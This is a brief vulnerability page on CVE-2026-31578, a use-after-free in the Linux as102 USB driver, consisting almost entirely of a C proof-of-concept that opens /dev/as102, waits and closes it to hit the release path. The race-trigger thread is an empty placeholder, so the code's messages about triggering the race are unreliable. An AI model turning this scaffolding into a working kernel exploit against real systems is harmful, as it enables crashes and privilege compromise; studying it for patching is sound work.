CVE-2026-31578: Linux内核as102驱动UAF漏洞

/* * PoC for CVE-2026-31578 * This code attempts to trigger the race condition by keeping a file descriptor open. * It requires the as102 device to be present and a way to trigger the error path * or disconnect (e.g., physical removal or forced driver error). */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <string.h> #define DEVICE_PATH "/dev/as102" void *trigger_reset_thread(void *arg) { // Simulate or wait for the condition that triggers deregistration/free // In a real scenario, this might coincide with a failed probe or disconnect sleep(2); printf("[+] Triggering potential race window...\n"); // Actual trigger depends on hardware state or module interaction return NULL; } int main() { pthread_t tid; int fd = -1; printf("[*] Starting PoC for CVE-2026-31578...\n"); if (pthread_create(&tid, NULL, trigger_reset_thread, NULL) != 0) { perror("pthread_create"); return 1; } // Attempt to open the device to get a valid file descriptor // The race occurs if this open succeeds before usb_deregister_dev fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("open device"); printf("[-] Failed to open device. Device might not be present.\n"); return 1; } printf("[+] Device opened successfully (fd=%d). Holding FD...\n", fd); // Wait for the kernel to potentially free the memory (race window) sleep(5); // Closing the FD triggers as102_release -> as102_usb_release // If the memory was freed in probe, this causes UAF/Double Free printf("[+] Closing file descriptor to trigger release callback...\n"); close(fd); pthread_join(tid, NULL); printf("[*] PoC execution finished.\n"); return 0; }